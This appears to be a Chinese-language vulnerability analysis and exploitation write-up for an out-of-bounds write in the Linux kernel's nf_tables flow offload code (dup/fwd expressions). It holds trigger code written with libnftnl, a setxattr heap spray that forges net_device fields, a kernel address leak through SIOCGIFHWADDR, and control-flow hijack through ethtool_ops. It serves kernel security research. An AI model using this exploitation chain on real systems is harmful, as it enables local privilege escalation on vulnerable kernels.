$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.13.19.tar.xz
$ tar -xvf linux-5.13.19.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。

entry = &flow->rule->action.entries[ctx->num_actions++];

struct nft_flow_rule *nft_flow_rule_create(struct net *net, const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;	// [1] 计算 flag == NFT_OFFLOAD_F_ACTION 的 expression 数量 (num_actions), dup 和 fwd expression 都不含此flag

		expr = nft_expr_next(expr);
	}
	...
	flow = nft_flow_rule_alloc(num_actions);		// [2] 分配包含 num_actions 个expression 的 rule
	...
	expr = nft_expr_first(rule);

	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);	// [3] 分配 context ctx, ctx->num_actions 初始化为0
	...
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);	// [4] 实际上对每个expression都调用offload漏洞函数（参数是ctx）, 只有保证每个 dup/fwd 都包含一个 immediate 才不会溢出
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	...
}

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];// [5] 漏洞点: OOB, 没有堆边界检查, 导致 ctx->num_actions 超过 flow->rule->action.entries 数组范围, 越界写1个整数 (4或5) 和1个指针
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

struct nft_flow_rule {	// kmalloc-32
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;			// <---- 
};

struct flow_rule {		
	struct flow_match	match;
	struct flow_action	action;			// <----
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[]; // <---- 在最上层 flow_rule 对象中的偏移为 0x20
};

struct flow_action_entry { 	// 大小 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

for(int i = 0; i < legit_writes; i++) {// 如下添加 expr 不会越界: 每条rule都包含一条 `nft_immediate` expression
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
// 如下添加 expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

table netdev filter_test {
  chain ingress {
    type filter hook ingress device eth0 priority 0; flags offload;
    ip daddr 192.168.0.10 tcp dport 22 drop
  }
}

[ meta load protocol => reg 1 ]
[ cmp eq reg 1 0x00000008 ]
[ payload load 4b @ network header + 16 => reg 1 ]
[ cmp eq reg 1 0x0a00a8c0 ]
[ immediate reg 1 0x00000001 ]
[ dup sreg_dev 1 ]

entry = &flow->rule->action.entries[ctx->num_actions++];
entry->id = id;		// [1] 写 4 或 5, 取决于是 fwd 还是 dup
entry->dev = dev;   // [2] array 之后的第24字节写 *dev 堆指针

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
	...
	free_msg(msg); 			
	...
}

void free_msg(struct msg_msg *msg)
{
	...
	security_msg_msg_free(msg);
	...
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);		// <----------
	msg->security = NULL;
}

    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

struct net_device {
	char                       name[16];             /*     0  0x10 */		// 修改name用于判断是否成功堆喷篡改 `net_device`
    ...
	const struct net_device_ops  * netdev_ops;       /*  0xc8   0x8 */		// 用于泄露 kernel base
	int                        ifindex;              /*  0xd0   0x4 */		// 
    ...
    const struct ethtool_ops  * ethtool_ops;         /* 0x210   0x8 */		// <-------- 用于劫持 RIP
	...
    unsigned char              addr_len;             /* 0x265   0x1 */		// 泄露内核基址时可读取的地址长度
    ...
    unsigned char *            dev_addr;             /* 0x330   0x8 */ 		// 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
    ...
}

int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
	int ret;
	char *colon;
    ...
    switch (cmd) {
	case SIOCGIFHWADDR:			// ioctl(SIOCGIFHWADDR)
		dev_load(net, ifr->ifr_name);
		ret = dev_get_mac_address(&ifr->ifr_hwaddr, net, ifr->ifr_name);	// <---- dev_get_mac_address()
		if (colon)
			*colon = ':';
		return ret;
    ...
    }
}

int dev_get_mac_address(struct sockaddr *sa, struct net *net, char *dev_name)
{
	size_t size = sizeof(sa->sa_data);
	struct net_device *dev;
	int ret = 0;

	down_read(&dev_addr_sem);
	rcu_read_lock();

	dev = dev_get_by_name_rcu(net, dev_name);
	if (!dev) {
		ret = -ENODEV;
		goto unlock;
	}
	if (!dev->addr_len)
		memset(sa->sa_data, 0, size);
	else
		memcpy(sa->sa_data, dev->dev_addr,			// <-------- 获取 `net_device->dev_addr` 位置处的数据, 还要伪造 `net_device->addr_len` 长度值为 0x8
		       min_t(size_t, size, dev->addr_len));
	sa->sa_family = dev->type;

unlock:
	rcu_read_unlock();
	up_read(&dev_addr_sem);
	return ret;
}
EXPORT_SYMBOL(dev_get_mac_address);

struct net_device {
	char                       name[16];             /*     0  0x10 */		// 修改name用于判断是否成功堆喷篡改 `net_device`
    ...
	const struct net_device_ops  * netdev_ops;       /*  0xc8   0x8 */		// 用于泄露 kernel base
	int                        ifindex;              /*  0xd0   0x4 */		// 
    ...
    const struct ethtool_ops  * ethtool_ops;         /* 0x210   0x8 */		// <-------- 用于劫持 RIP
	...
    unsigned char              addr_len;             /* 0x265   0x1 */		// 泄露内核基址时可读取的地址长度
    ...
    unsigned char *            dev_addr;             /* 0x330   0x8 */ 		// 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
    ...
}

struct ethtool_ops {
    ...
    int	(*begin)(struct net_device *);		// 0xc8 待劫持的目标函数指针, $rdi 指向可控的 net_device, 使用 rdi->rsp 类型的 pivot gadget
    ...
}

int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
	int ret;
	char *colon;
    ...
    switch (cmd) {
    ...
    case SIOCETHTOOL:
		dev_load(net, ifr->ifr_name);
		rtnl_lock();
		ret = dev_ethtool(net, ifr);	// <-----
		rtnl_unlock();
		if (colon)
			*colon = ':';
		return ret;
    ...
    }
}

int dev_ethtool(struct net *net, struct ifreq *ifr)
{
	struct net_device *dev = __dev_get_by_name(net, ifr->ifr_name);
	void __user *useraddr = ifr->ifr_data;
	u32 ethcmd, sub_cmd;
	int rc;
	netdev_features_t old_features;

	if (!dev || !netif_device_present(dev))
		return -ENODEV;

	if (copy_from_user(&ethcmd, useraddr, sizeof(ethcmd)))
		return -EFAULT;

	if (ethcmd == ETHTOOL_PERQUEUE) {
		if (copy_from_user(&sub_cmd, useraddr + sizeof(ethcmd), sizeof(sub_cmd)))	// ifreq->ifr_data
			return -EFAULT;
	} else {
		sub_cmd = ethcmd;
	}
    ...
    if (dev->ethtool_ops->begin) {
		rc = dev->ethtool_ops->begin(dev);		// 控制流劫持点
		if (rc  < 0)
			return rc;
	}
    old_features = dev->features;

	switch (ethcmd) {
	case ETHTOOL_GSET:
		rc = ethtool_get_settings(dev, useraddr);
		break;
    ...
    }
}